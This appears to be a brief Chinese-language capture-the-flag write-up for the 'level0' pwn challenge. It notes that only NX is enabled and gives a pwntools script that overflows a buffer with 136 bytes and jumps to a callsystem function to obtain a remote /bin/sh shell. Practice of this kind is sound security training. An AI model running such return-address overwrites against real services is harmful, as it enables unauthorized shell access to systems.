查壳,只开了NX
ida中的callsystem函数调用了/bin/sh
这题练习一下elf调用函数地址写exp
#!/usr/bin/env python
from pwn import *
p = remote('111.200.241.244',35917)
elf = ELF('./level0')
sysaddr = elf.symbols['callsystem']
payload = 'a'* 136 + p64(sysaddr)
p.recv()
p.send(payload)
p.interactive()